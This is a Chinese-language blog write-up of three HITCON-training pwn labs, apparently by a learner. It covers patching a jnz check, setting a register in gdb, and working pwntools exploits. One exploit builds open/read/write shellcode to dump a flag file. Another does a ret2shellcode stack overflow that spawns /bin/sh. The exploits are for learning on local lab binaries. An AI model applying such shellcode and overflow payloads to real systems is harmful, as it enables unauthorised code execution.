目录
欢迎前往个人主页享受更为优质的体验。
Pwn-10月23-Hitcon(一)
lab1-sysmagic
貌似第一题会比较简单,先用IDA-Pro静态分析一下:
貌似直接得到了一个能够输出flag的函数?由于这是个elf32位可执行文件所以我们需要在linux下面执行:
可以很简单就看懂逻辑,输入一个值,然后比较如果相等,得出flag。
解法1 - patch
IDA Pro -- keypatch,使用
keypatch
插件来修改汇编代码,我们可以直接将关键的一步nop掉或者改成完全相反的操作。
例如将
.text:08048722
的跳转汇编指令改为jmp无条件跳转,或者是与jnz相反的jz操作。修改为无条件跳转后需要将其保存到对应文件中:
然后去把文件挪到linux上运行试试发现并没有用,因为改为jmp后其函数直接少了一部分对flag的操作:
所以我们只能将原样本中的jnz改为jz了,改完之后函数已经成为不等则输出flag了:
运行效果:
解法2 - gdb set register value
通过gdb动态调试,并且在即将进行比较前,将 eax置为与edx相同的值即可:
然后即可得到flag。
lab2-orw
检查保护措施
checksec orw.bin
,题目orw的意思是open,read,write这三个函数。emmm这是我做的第一个开启了Stack保护的题目呢。
逻辑分析
简单跑一下可以看到直接是让你输入shellcode:
放IDA pro里面看看:
细看一下
orw_seccomp()函数
:prctl函数又是啥玩意儿?Prctl(用户和内核沟通的一个绝佳函数),这个函数可以对进程进行一些设置。而有一道强网杯题目就好像用了这玩意儿的技术?
输入shellcode之后应该会执行,所以这题的目的是让我们自己构造shellcode去读取flag?既然要构造shellcode,那就需要用到pwntools的asm模块和shellcraft模块:
asm模块是将操作转换为汇编命令,而shellcraft是具有各种函数对应汇编命令的一个模块,十分好用:
pwntools中的context模块又是用来干嘛的呢?
context
是pwntools用来设置环境的功能。在很多时候,由于二进制文件的情况不同,我们可能需要进行一些环境设置才能够正常运行exp,比如有一些需要进行汇编,但是32的汇编和64的汇编不同,如果不设置context会导致一些问题。例如
context(os='linux', arch='amd64', log_level='debug')
这句话的意思是:
- os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
- arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’
- log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,这样pwntools会将完整的io过程都打印下来,使得调试更加方便,可以避免在完成CTF题目时出现一些和IO相关的错误。
exp
根据题意和题解?(正处于涨姿势的时候)写出exp:
#!/usr/bin/env python
#coding:utf-8
from pwn import *
from pwn import shellcraft as sc
context.log_level = "debug"
shellcode = sc.pushstr("/home/xiaoyifeng/ctf/pwn/Hiton/lab2/flag")
shellcode += sc.open("esp")
# open返回的文件文件描述符存贮在eax寄存器里
shellcode += sc.read("eax", "esp", 0x100)
# open读取的内容放在栈顶
# write函数在栈顶读取0x100大小的内容并打印出来
shellcode += sc.write(1, "esp", 0x100)
io = process("./orw.bin")
#print(asm(shellcode))
io.sendlineafter("shellcode:", asm(shellcode))
print io.recvall()
io.close()
运行效果:
lab3-ret2sc
题目名是return to shellcode的简写,应该是利用return返回然后执行shellcode之类的操作?
检查保护措施
checksec ret2sc
emmm没有开启啥保护,没有开启栈溢出检测,也没有开启栈不可执行(NX)。
逻辑分析
跑一下发现让我们输入字符串到Name里面,还有一个try your best?首先想到的是会不会又是啥栈溢出什么的。
嗯,情况是有的:
通过gdb动态调试可以发现在输入try your best 的值的时候可以发生溢出,并且将EIP指向我们构造的位置:
而这个临界值我们可以通过pattern search来查我们构造的pattern偏移量,得到为32。根据大佬的题解了解到return to shellcode是一种题型,我甚至想到了又用ROP chain???
黑人问号.jpg
?。原来return to shellcode的操作就是将shellcode写入name变量空间,然后通过返回到该地址从而执行shellcode(NX未开启,栈可执行)
该变量地址为0x804A060
构造EXP
这个exp需要用到shellcraft和asm,来将shellcode转为汇编指令:
#!/usr/bin/env python #coding:utf-8 from pwn import * context(os = "linux", arch = "i386",log_level="debug") io = process("./ret2sc") #获得sh的命令多种多样,并且有不同系统版本的sh #shellcode = asm(shellcraft.execve("/bin/sh")) shellcode = asm(shellcraft.i386.linux.sh()) io.sendlineafter(":", shellcode) #flat模块能将pattern字符串和地址结合并且转为字节模式 payload = flat(cyclic(32), 0x804a060) io.sendlineafter(":", payload) io.interactive() io.close()
运行效果:
小结
内容涉及 context 模式设置,asm模块,shellcraft模块,patch操作,return to shellcode题型,pwntools flat模块。
今天先混到这儿。。。我真菜?。